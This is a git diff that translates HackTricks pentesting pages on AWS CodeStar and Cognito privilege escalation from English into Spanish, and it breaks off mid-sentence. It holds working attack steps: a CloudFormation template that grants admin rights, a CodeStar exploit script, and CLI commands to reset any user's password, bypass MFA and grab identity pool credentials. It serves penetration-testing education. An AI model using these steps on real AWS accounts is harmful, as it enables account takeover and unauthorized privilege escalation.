--name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +Si ya eres un **miembro del proyecto**, puedes usar el permiso **`codestar:UpdateTeamMember`** para **actualizar tu rol** a propietario en lugar de `codestar:AssociateTeamMember`. -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**Impacto Potencial:** Privesc a la política de codestar generada. Puedes encontrar un ejemplo de esa política en: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **Crear un Nuevo Proyecto:** +- Utiliza la acción **`codestar:CreateProjectFromTemplate`** para iniciar la creación de un nuevo proyecto. +- Tras la creación exitosa, se otorga automáticamente acceso para **`cloudformation:UpdateStack`**. +- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker--CloudFormation`. +2. **Actualizar la Pila Objetivo:** +- Con los permisos de CloudFormation otorgados, procede a actualizar la pila especificada. +- El nombre de la pila generalmente se ajustará a uno de dos patrones: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- El nombre exacto depende de la plantilla elegida (referenciando el script de explotación de ejemplo). +3. **Acceso y Permisos:** +- Después de la actualización, obtienes las capacidades asignadas al **rol IAM de CloudFormation** vinculado con la pila. +- Nota: Esto no proporciona inherentemente privilegios de administrador completos. Pueden ser necesarios recursos mal configurados adicionales dentro del entorno para elevar aún más los privilegios. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Para más información, consulta la investigación original: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +Puedes encontrar la explotación en [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Potential Impact:** Privesc to cloudformation IAM role. +**Impacto Potencial:** Privesc al rol IAM de cloudformation. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..f10fa76a0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +Esta es la política creada a la que el usuario puede escalar privilegios (el nombre del proyecto era `supercodestar`): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..b4b44f689 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +Con estos permisos puedes **abusar de un rol IAM de codestar** para realizar **acciones arbitrarias** a través de una **plantilla de cloudformation**. +Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener el **exploit de la plantilla de cloudformation**. El siguiente se puede usar para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +También **sube** este archivo `empty zip` al **bucket**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +Recuerda que el **bucket con ambos archivos debe ser accesible por la cuenta de la víctima**. +Con ambas cosas subidas, ahora puedes proceder a la **explotación** creando un proyecto de **codestar**: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por el administrador para un rol en lugar de para un usuario. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..79964b6a0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Para más información sobre Cognito, consulta: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### Recolección de credenciales del Identity Pool -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Como Cognito puede otorgar **credenciales de rol de IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente). -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +Para más información [**consulta esta página**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**Impacto Potencial:** Privesc directo al rol de servicios adjunto a usuarios no autenticados (y probablemente al que está adjunto a usuarios autenticados). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +Con este permiso puedes **otorgar cualquier rol de cognito** a los usuarios autenticados/no autenticados de la aplicación cognito. ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +Si la aplicación de cognito **no tiene habilitados los usuarios no autenticados**, es posible que también necesites el permiso `cognito-identity:UpdateIdentityPool` para habilitarlo. -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**Impacto Potencial:** Privesc directo a cualquier rol de cognito. ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +Un atacante con este permiso podría establecer, por ejemplo, un Cognito User Pool bajo su control o cualquier otro proveedor de identidad donde pueda iniciar sesión como **una forma de acceder a este Cognito Identity Pool**. Luego, simplemente **iniciar sesión** en ese proveedor de usuarios **le permitirá acceder al rol autenticado configurado en el Identity Pool**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +También es posible **abusar de este permiso para permitir la autenticación básica**: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**Impacto Potencial**: Comprometer el rol IAM autenticado configurado dentro del grupo de identidades. ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**Impacto Potencial:** Privesc a otros grupos de Cognito y roles de IAM adjuntos a Grupos de User Pool. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +Un atacante con estos permisos podría **crear/actualizar grupos** con **cada rol de IAM que puede ser utilizado por un Proveedor de Identidad de Cognito comprometido** y hacer que un usuario comprometido sea parte del grupo, accediendo a todos esos roles: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**Impacto Potencial:** Privesc a otros roles IAM de Cognito. ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +Este permiso permite **verificar un registro**. Por defecto, cualquiera puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso. ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**Impacto Potencial:** Privesc indirecto al rol IAM del grupo de identidades para usuarios autenticados si puedes registrar un nuevo usuario. Privesc indirecto a otras funcionalidades de la aplicación al poder confirmar cualquier cuenta. ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +Este permiso permitiría a un atacante crear un nuevo usuario dentro del grupo de usuarios. El nuevo usuario se crea como habilitado, pero necesitará cambiar su contraseña. ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**Impacto Potencial:** Privesc directo al rol IAM del grupo de identidades para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación al poder crear cualquier usuario. ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +Este permiso puede ayudar en un escenario muy específico donde un atacante encontró las credenciales de un usuario deshabilitado y necesita **habilitarlo nuevamente**. ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**Impacto Potencial:** Privesc indirecto al rol IAM del grupo de identidades para usuarios autenticados y permisos del usuario si el atacante tenía credenciales para un usuario deshabilitado. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +Este permiso permite iniciar sesión con el [**método ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para más información, sigue el enlace. ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole hacerse pasar por cualquier usuario (que no tenga MFA habilitado). ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**Impacto Potencial:** Privesc directo a potencialmente cualquier usuario, por lo que se tiene acceso a todos los grupos de los que cada usuario es miembro y acceso al rol IAM autenticado del Identity Pool. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: Un atacante podría potencialmente abusar de este permiso para establecer un teléfono móvil bajo su control como **SMS MFA de un usuario**. ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** Similar a la anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario y eludir la protección de MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: Similar al anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un grupo de usuarios para eludir la protección de MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Consulta cli aquí](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** Privesc indirecto a potencialmente cualquier usuario cuyas credenciales conozca el atacante, esto podría permitir eludir la protección de MFA. ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +Un atacante con este permiso podría cambiar el correo electrónico o el número de teléfono o cualquier otro atributo de un usuario bajo su control para intentar obtener más privilegios en una aplicación subyacente.\ +Esto permite cambiar un correo electrónico o número de teléfono y configurarlo como verificado. ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**Impacto Potencial:** Privesc indirecto potencial en la aplicación subyacente que utiliza Cognito User Pool que otorga privilegios basados en atributos de usuario. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +Un atacante con este permiso podría **crear un nuevo Cliente de User Pool menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +Lo mismo se puede hacer si en lugar de crear un nuevo cliente, se **modifica uno existente**. +En la [**línea de comandos**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o el [**actualizar uno**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puedes ver todas las opciones, ¡revísalo!. ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**Impacto Potencial:** Potencial privesc indirecto al usuario autorizado del Identity Pool utilizado por el User Pool al crear un nuevo cliente que relaja las medidas de seguridad y permite a un atacante iniciar sesión con un usuario que pudo crear. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +Un atacante podría abusar de este permiso para crear usuarios subiendo un csv con nuevos usuarios. ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(En el caso de que crees un nuevo trabajo de importación, también podrías necesitar el permiso iam passrole, aún no lo he probado). -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**Impacto Potencial:** Privesc directo al rol IAM del grupo de identidades para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación al poder crear cualquier usuario. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +Un atacante podría crear un nuevo proveedor de identidades para luego poder **iniciar sesión a través de este proveedor**. ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**Impacto Potencial:** Privesc directo al rol IAM del grupo de identidades para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación al poder crear cualquier usuario. -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* Análisis -### cognito-sync:\* Analysis +Este es un permiso muy común por defecto en los roles de los Grupos de Identidad de Cognito. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**. -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +Este permiso permite leer información de uso de los Grupos de Identidad e IDs de Identidad dentro de los Grupos de Identidad (lo cual no es información sensible).\ +Los IDs de Identidad pueden tener 